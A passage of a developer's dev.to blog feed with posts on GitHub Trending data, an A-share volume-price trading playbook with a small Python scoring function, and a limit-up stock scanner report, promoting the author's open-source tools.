&lt;p&gt;Everything I build is open source: &lt;a href="https://github.com/Felixwang007" rel="noopener noreferrer"&gt;https://github.com/Felixwang007&lt;/a&gt; (MIT). The &lt;strong&gt;A-Share Stock Analysis Expert&lt;/strong&gt; skill (three-pillar system: MACD/KDJ/RSI/volume-price + ROE/PEG fundamentals + capital-flow sentiment) is live on xiaping.coze.com — search "A-Share Stock Analysis" to try it.&lt;/p&gt;

&lt;p&gt;Have you hit an automation ceiling on a marketplace I haven't listed? Tell me in the comments — I'm building a public table of which platforms are actually automatable, and real-world data beats my five data points.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>The AI Race Just Left the Model Layer — 30 Days of GitHub Trending Data Proves It</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 24 Aug 2026 04:09:40 +0000</pubDate>
      <link>https://dev.to/felixwang007/the-ai-race-just-left-the-model-layer-30-days-of-github-trending-data-proves-it-1lm7</link>
      <guid>https://dev.to/felixwang007/the-ai-race-just-left-the-model-layer-30-days-of-github-trending-data-proves-it-1lm7</guid>
      <description>&lt;p&gt;For the past month I've been running a fully automated GitHub Trending aggregator — a single GitHub Actions cron that scrapes trending every 6 hours, renders a clean page, and deploys it to Pages. Zero API keys, zero servers, zero cost. It wasn't built to be impressive; it was built so I'd never have to open trending.github.com again.&lt;/p&gt;

&lt;p&gt;But the side effect turned out to be more valuable than the tool: &lt;strong&gt;a month of uninterrupted, timestamped data on what the developer community is actually excited about&lt;/strong&gt; — not what press releases say, but what thousands of engineers star with their own hands.&lt;/p&gt;

&lt;p&gt;Here's the pattern that jumped out, with real repos scraped today:&lt;/p&gt;

&lt;h2&gt;
  
  
  The data (real stars, scraped right now)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Repo&lt;/th&gt;
&lt;th&gt;Stars&lt;/th&gt;
&lt;th&gt;What it actually is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;public-apis/public-apis&lt;/td&gt;
&lt;td&gt;469K&lt;/td&gt;
&lt;td&gt;The world's largest collection of free APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;harry0703/MoneyPrinterTurbo&lt;/td&gt;
&lt;td&gt;115K&lt;/td&gt;
&lt;td&gt;One-click AI short-video generation from a keyword&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;volcengine/OpenViking&lt;/td&gt;
&lt;td&gt;32.5K&lt;/td&gt;
&lt;td&gt;"Self-evolving context database" — agent memory + RAG + skills in one&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;basecamp/omarchy&lt;/td&gt;
&lt;td&gt;29K&lt;/td&gt;
&lt;td&gt;Opinionated, modern Linux (by Basecamp)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;modular/modular&lt;/td&gt;
&lt;td&gt;29K&lt;/td&gt;
&lt;td&gt;Mojo / MAX language platform&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;jundot/omlx&lt;/td&gt;
&lt;td&gt;20.5K&lt;/td&gt;
&lt;td&gt;LLM inference server with SSD caching for Apple Silicon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AprilNEA/OpenLogi&lt;/td&gt;
&lt;td&gt;15K&lt;/td&gt;
&lt;td&gt;Local-first Logitech Options+ replacement in Rust&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cordiverse/cordis&lt;/td&gt;
&lt;td&gt;7.3K&lt;/td&gt;
&lt;td&gt;Spatiotemporal composability meta-framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cursor/plugins&lt;/td&gt;
&lt;td&gt;4.8K&lt;/td&gt;
&lt;td&gt;Cursor's official plugin specification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;apache/maka&lt;/td&gt;
&lt;td&gt;2.4K&lt;/td&gt;
&lt;td&gt;Apache-incubating, local-first AI agent workspace&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;anthropics/claude-plugins-community&lt;/td&gt;
&lt;td&gt;1K&lt;/td&gt;
&lt;td&gt;Community plugin marketplace for Claude Code&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Signal #1: Agent "app stores" are forming — right now
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;cursor/plugins&lt;/code&gt;, &lt;code&gt;anthropics/claude-plugins-community&lt;/code&gt;, and &lt;code&gt;apache/maka&lt;/code&gt; — three plugin ecosystems from three different vendors, all trending within days of each other. That's not coincidence; that's an inflection.&lt;/p&gt;

&lt;p&gt;When infrastructure companies rush to standardize plugins, it means one thing: &lt;strong&gt;agents stopped being a demo and became a distribution channel.&lt;/strong&gt; The next "app store" won't be for phone apps — it'll be for capabilities you drop into an agent. If you're a developer, learning one plugin spec (they're all converging on the same SKILL.md / MCP-style shape) is the cheapest career insurance available right now.&lt;/p&gt;

&lt;h2&gt;
  
  
  Signal #2: Context is the new bottleneck
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;volcengine/OpenViking&lt;/code&gt; at 32.5K stars in a short window frames itself as a "self-evolving context database" — unifying agent memory, knowledge retrieval, and skills. The name is marketing, but the thesis is real.&lt;/p&gt;

&lt;p&gt;Every serious agent project hits the same wall: context windows are finite, and what the agent &lt;em&gt;remembers&lt;/em&gt; decides whether it's brilliant or useless. That's why the hottest tooling right now isn't "another model" — it's systems for deciding what to remember, what to forget, and what to fetch. The model wars are over; the &lt;strong&gt;context wars&lt;/strong&gt; just started.&lt;/p&gt;

&lt;h2&gt;
  
  
  Signal #3: Local inference is quietly winning
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;jundot/omlx&lt;/code&gt; (20.5K stars) — continuous-batching LLM inference with SSD caching on Apple Silicon — alongside Mojo's continued staying power. The message: developers increasingly don't want to pay per token for every experiment. They want a fast local box, a clean API, and the option to never touch a cloud endpoint until they absolutely have to. Cheap local inference isn't a hobbyist niche anymore; it's a design default.&lt;/p&gt;

&lt;h2&gt;
  
  
  Signal #4: Content automation demand hasn't gone away
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;MoneyPrinterTurbo&lt;/code&gt; at 115K stars is a decade-old reminder wearing a new face: turning a topic or keyword into a publishable short video remains one of the most-desired automations on the planet. Every wave of "AI content is dead" discourse ignores that the &lt;em&gt;tooling&lt;/em&gt; keeps compounding in stars. The demand isn't for AI text — it's for &lt;strong&gt;AI that produces something publishable end-to-end&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Signal #5: Data access is the real moat
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;public-apis&lt;/code&gt; sits at 469K stars — among the most-starred repositories in the world, and it's just a list of URLs. No model, no framework, no agent will ever make free data access unnecessary. Every agent is only as good as the APIs it can reach. If you're building anything agentic, your data layer is your moat — spend accordingly.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do with this
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;If you build agents:&lt;/strong&gt; read the cursor and Claude plugin specs this week. The format is stabilizing fast, and early movers get the distribution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If you pick infrastructure:&lt;/strong&gt; memory/context tooling is where the jobs and the budgets are heading. Retrieval quality &amp;gt; prompt tricks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If you create content:&lt;/strong&gt; the video-automation star count says the demand never left — the bar is just "publishable output," not "draft."&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How I get this data for free
&lt;/h2&gt;

&lt;p&gt;The aggregator is one workflow file: a cron schedule, a single scraper script, a Pages deploy. No API keys, no server, no cost — it's been running unattended for a month. You can fork it, or just bookmark the live page:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Live site:&lt;/strong&gt; &lt;a href="https://felixwang007.github.io/github-daily-trending/" rel="noopener noreferrer"&gt;https://felixwang007.github.io/github-daily-trending/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repo:&lt;/strong&gt; &lt;a href="https://github.com/Felixwang007/github-daily-trending" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/github-daily-trending&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the data was useful, a ⭐ on the repo genuinely helps. And if you read Chinese, I publish the deeper trend analysis as an installable AI-agent skill on 虾评 (search "全网新闻聚合助手") — same data, turned into daily briefings.&lt;/p&gt;

&lt;p&gt;The next big thing in dev tools probably isn't a model. It's the layer that lets agents &lt;em&gt;use&lt;/em&gt; everything else. The star data is telling you where to look.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>Volume Is the Only A-Share Indicator That Can't Be Faked — a Playbook Built on Real 2026 Market Data</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 20 Aug 2026 04:08:12 +0000</pubDate>
      <link>https://dev.to/felixwang007/volume-is-the-only-a-share-indicator-that-cant-be-faked-a-playbook-built-on-real-2026-market-data-1ke</link>
      <guid>https://dev.to/felixwang007/volume-is-the-only-a-share-indicator-that-cant-be-faked-a-playbook-built-on-real-2026-market-data-1ke</guid>
      <description>&lt;p&gt;In Chinese A-shares, every indicator can be faked — except one.&lt;/p&gt;

&lt;p&gt;K-lines can be drawn. MACD and KDJ can be painted. Even the "fundamentals" in a prospectus can be polished. But every single share of volume requires real money changing hands. You can't print liquidity.&lt;/p&gt;

&lt;p&gt;I spent the last few months building an open-source A-Share scanner, and volume is the layer that keeps saving me from bad trades. Here's the playbook — built on what actually happened in the 2026 market, not textbook theory.&lt;/p&gt;

&lt;h2&gt;
  
  
  What volume actually measures
&lt;/h2&gt;

&lt;p&gt;Most people think volume = supply and demand. It isn't. &lt;strong&gt;Volume is a measure of disagreement.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Everyone agrees the stock is great → nobody sells → &lt;strong&gt;limit-up on tiny volume&lt;/strong&gt; (price flies on almost no shares).&lt;/li&gt;
&lt;li&gt;Everyone is terrified and thrilled at the same time → &lt;strong&gt;massive turnover&lt;/strong&gt; (someone who believes it's a 10-bagger selling to someone who believes it's a bankruptcy).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every huge trade is one buyer and one seller, each convinced the other is an idiot. The question is never &lt;em&gt;how much&lt;/em&gt; traded — it's &lt;em&gt;which direction the chips moved&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two historic blow-off days I watched
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Turnover&lt;/th&gt;
&lt;th&gt;What happened next&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2024-10-08&lt;/td&gt;
&lt;td&gt;3.48 trillion yuan&lt;/td&gt;
&lt;td&gt;Gap up, faded, violent correction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-01-14&lt;/td&gt;
&lt;td&gt;3.99 trillion yuan (record)&lt;/td&gt;
&lt;td&gt;Closed red, volume dried up, months of sideways bleed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Record volume is not a bull-market starting gun. It's a disagreement thermometer maxing out.&lt;/strong&gt; When the whole market trades at record levels, the chips are changing hands at maximum speed — and someone with a huge position is usually on the sell side.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where volume happens matters more than how much
&lt;/h2&gt;

&lt;h3&gt;
  
  
  High-position volume breakout = liquidity trap ⚠️
&lt;/h3&gt;

&lt;p&gt;A main force that has held a stock for a year, doubled it, can't just dump — the stock would hit limit-down and they'd be stuck. So they &lt;em&gt;wash-trade&lt;/em&gt;: account A places sell orders, account B eats them in seconds, drawing a giant "buying" volume bar on the daily chart. Retail and quant funds chase the breakout. The real chips get mixed into the exit.&lt;/p&gt;

&lt;p&gt;If volume explodes &lt;em&gt;after&lt;/em&gt; a stock has already doubled, ask: &lt;strong&gt;who is the seller?&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  High-position volume with no price progress = distribution ⚠️⚠️
&lt;/h3&gt;

&lt;p&gt;Volume up 2–3x, price up 1% with a long upper shadow. Retail reads "shakeout." The math says otherwise: if real money were buying aggressively and the price can't rise, the sell side is effectively unlimited — major shareholders plus the bottom-position main force. This is the last distribution before the kite string breaks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Low-position volume spike = accumulation ✅
&lt;/h3&gt;

&lt;p&gt;Long decline, volume at ice-cold levels, then one day a volume bar far above the multi-month average. Retail is panic-selling; whoever can absorb hundreds of millions of yuan against the grain is almost certainly informed money. They accumulate quietly — that's why price often stays flat while volume builds (量增价平).&lt;/p&gt;

&lt;h2&gt;
  
  
  The counterintuitive side: shrinking volume
&lt;/h2&gt;

&lt;h3&gt;
  
  
  High-position shrink-up = locked chips (not always a bearish divergence)
&lt;/h3&gt;

&lt;p&gt;Classic dogma says "a rally without volume is a scam." It misses the strongest stocks. When the main force controls 70–80% of the float, it takes just tens of millions of yuan to push a limit-up, and daily volume collapses. &lt;strong&gt;The tell is the trend slope&lt;/strong&gt;: a steep 5/10-day MA with quickly recovered dips = locked chips; a choppy, one-step-back-three-step-forward drift = dying momentum.&lt;/p&gt;

&lt;h3&gt;
  
  
  Low-position shrink-down = the death spiral ⚠️⚠️⚠️
&lt;/h3&gt;

&lt;p&gt;A volume-down decline at least has no buyers. A &lt;em&gt;shrinking-volume&lt;/em&gt; decline means the market has completely given up. -1% a day, sawing your capital in half over six months. Never catch this knife — wait for the 地量 (extreme low volume) bottom to form first.&lt;/p&gt;

&lt;h2&gt;
  
  
  Turnover rate: volume, normalized
&lt;/h2&gt;

&lt;p&gt;Absolute volume is meaningless. 50 million shares is a normal 5% turnover for a 10-billion-float stock and a 100% explosion for a 500-million float.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Turnover&lt;/th&gt;
&lt;th&gt;Zone&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;1%&lt;/td&gt;
&lt;td&gt;Ice-cold&lt;/td&gt;
&lt;td&gt;Forgotten stock; only actionable if chips are confirmed exhausted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1–3%&lt;/td&gt;
&lt;td&gt;Normal&lt;/td&gt;
&lt;td&gt;Trend continues as-is; watch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5–10%&lt;/td&gt;
&lt;td&gt;Hot&lt;/td&gt;
&lt;td&gt;Disagreement rising, main force footprints visible; start tracking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt;15–20%&lt;/td&gt;
&lt;td&gt;Extreme&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Red alert at highs&lt;/strong&gt; — 1 in 5 shares changed hands; distribution zone&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The eight classic volume-price patterns
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;At lows&lt;/th&gt;
&lt;th&gt;At highs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Volume up, price flat&lt;/td&gt;
&lt;td&gt;✅ Accumulation&lt;/td&gt;
&lt;td&gt;⚠️⚠️ Distribution warning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volume up, price up&lt;/td&gt;
&lt;td&gt;✅ Healthy (1–2x = golden)&lt;/td&gt;
&lt;td&gt;⚠️ 5–10x explosion = wash-trade bait&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volume flat, price up&lt;/td&gt;
&lt;td&gt;✅ Locked chips&lt;/td&gt;
&lt;td&gt;⚠️ Follow-on money drying&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volume down, price up&lt;/td&gt;
&lt;td&gt;✅ Controlled float&lt;/td&gt;
&lt;td&gt;⚠️ Liquidity exhaustion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volume up, price down&lt;/td&gt;
&lt;td&gt;⚠️ Panic — exit signal anywhere&lt;/td&gt;
&lt;td&gt;❌ Huge red bar = trend over&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volume down, price down&lt;/td&gt;
&lt;td&gt;⚠️ Death spiral — no bottom-fishing&lt;/td&gt;
&lt;td&gt;⚠️ Wait for extreme low volume&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The one question to ask at every candle
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Which direction are the chips moving?&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Main-force pocket → retail pocket (they sell, you buy) = danger&lt;/li&gt;
&lt;li&gt;Retail pocket → main-force pocket (they buy, you sell) = opportunity&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Judge by the patterns above: high-position volume stalls → chips flowing to retail. Bottom 地量 followed by a low-position spike → chips flowing to the main force.&lt;/p&gt;

&lt;h2&gt;
  
  
  Turning this into code
&lt;/h2&gt;

&lt;p&gt;Rules are only useful when they're enforced. I quantized these patterns into a scoring layer in the scanner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;volume_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;high_pos&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vol_ratio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;chg_pct&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;turnover&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;high_pos&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;vol_ratio&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;chg_pct&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;          &lt;span class="c1"&gt;# high-position volume stall = distribution
&lt;/span&gt;    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;high_pos&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;vol_ratio&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;          &lt;span class="c1"&gt;# liquidity-trap breakout
&lt;/span&gt;    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;high_pos&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;turnover&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;          &lt;span class="c1"&gt;# extreme low volume near bottom = setup
&lt;/span&gt;    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;high_pos&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;vol_ratio&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;          &lt;span class="c1"&gt;# low-position spike = accumulation
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;turnover&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;          &lt;span class="c1"&gt;# red-alert turnover
&lt;/span&gt;    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;turnover&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;high_pos&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;          &lt;span class="c1"&gt;# main force ignition zone
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Combined with the technical (MACD/KDJ/RSI), fundamental (ROE/PEG) and sentiment layers of the three-pillar system, it's the difference between "the chart looks fine" and "the chips are flowing the wrong way."&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to find it
&lt;/h2&gt;

&lt;p&gt;The full scanner — including the volume scoring, a 5,000-stock daily screener, and the three-pillar framework — is open source: &lt;a href="https://github.com/Felixwang007" rel="noopener noreferrer"&gt;https://github.com/Felixwang007&lt;/a&gt; (everything is MIT).&lt;/p&gt;

&lt;p&gt;If you'd rather have it as a ready-made agent skill, search &lt;strong&gt;"A-Share Stock Analysis"&lt;/strong&gt; on xiaping.coze.com — it runs the whole scan in 5 minutes, no SaaS subscriptions, no paid APIs.&lt;/p&gt;

&lt;p&gt;Volume is the only honest participant in the market. Learn to read it, and the other indicators stop lying to you. Questions or a pattern you think I got wrong — drop it in the comments.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>7 Stocks Hit the 20% Limit Today in China — My Free AI Scanner Caught All of Them by 9:35 AM</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 17 Aug 2026 04:09:32 +0000</pubDate>
      <link>https://dev.to/felixwang007/7-stocks-hit-the-20-limit-today-in-china-my-free-ai-scanner-caught-all-of-them-by-935-am-57do</link>
      <guid>https://dev.to/felixwang007/7-stocks-hit-the-20-limit-today-in-china-my-free-ai-scanner-caught-all-of-them-by-935-am-57do</guid>
      <description>&lt;p&gt;Every morning at 9:30 AM Beijing time, a script on my machine quietly wakes up, pulls live quotes for all 5,000+ A-share stocks, and runs a three-pillar scan: technicals, fundamentals, and market sentiment. It takes about 90 seconds. This morning it did something worth writing about.&lt;/p&gt;

&lt;h2&gt;
  
  
  What happened today (Aug 17, 2026)
&lt;/h2&gt;

&lt;p&gt;The market opened strong and stayed strong:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Index&lt;/th&gt;
&lt;th&gt;Close&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Shanghai Composite&lt;/td&gt;
&lt;td&gt;3,960&lt;/td&gt;
&lt;td&gt;+0.84%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shenzhen Component&lt;/td&gt;
&lt;td&gt;14,534&lt;/td&gt;
&lt;td&gt;+1.26%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ChiNext (Growth)&lt;/td&gt;
&lt;td&gt;3,675&lt;/td&gt;
&lt;td&gt;+1.33%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSI 300&lt;/td&gt;
&lt;td&gt;4,701&lt;/td&gt;
&lt;td&gt;+0.76%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;But the interesting action was in the limit-up board. A-share rules allow a 20% daily move on ChiNext (300xxx) and STAR Market (688xxx) stocks. This morning, &lt;strong&gt;seven of the top ten gainers all closed at the 20% limit&lt;/strong&gt; — that's a rotation signal, not just a green tape day.&lt;/p&gt;

&lt;h2&gt;
  
  
  The scanner's output, 9:35 AM
&lt;/h2&gt;

&lt;p&gt;Top movers flagged by the scan (name, price, change, turnover):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;N 恒兴 (new listing):  32.20  +101.0%  turnover 78.6%
创达新材 (BJ):         60.88  +23.9%   turnover 12.6%
戴维医疗 (300314):     14.74  +20.0%   turnover 17.9%
天山生物 (300313):     10.73  +20.0%   turnover 11.6%
聚和材料 (688503):     95.68  +20.0%   turnover 10.4%
太辰光   (300570):    193.80  +20.0%   turnover 12.4%
苏州天脉 (301626):    307.08  +20.0%   turnover 7.7%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  How to read this tape (the part that's actually useful)
&lt;/h2&gt;

&lt;p&gt;Three things stand out, and they map directly to the three pillars of the system:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Technicals — turnover is the tell.&lt;/strong&gt; A 20% limit-up with 10–18% turnover means the move is contested: real money is rotating in, but so is a lot of short-term supply. Contrast that with 中石科技's limit-up at only &lt;strong&gt;1.6% turnover&lt;/strong&gt; — that's a locked board, sellers simply didn't show up. Low-turnover limit-ups are structurally stronger than high-turnover ones. When you see a high-turnover limit-up, expect a follow-up test tomorrow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Sentiment — where the money is going.&lt;/strong&gt; A new listing doubling on its debut (N 恒兴, +101%, 78% turnover) plus a cluster of 20% boards across ChiNext and STAR tells you risk appetite is ON. In this regime, breakout strategies on 300xxx/688xxx names tend to work better than dividend/value plays. Regime detection is 80% of the game — indicator choice comes second.&lt;/p&gt;

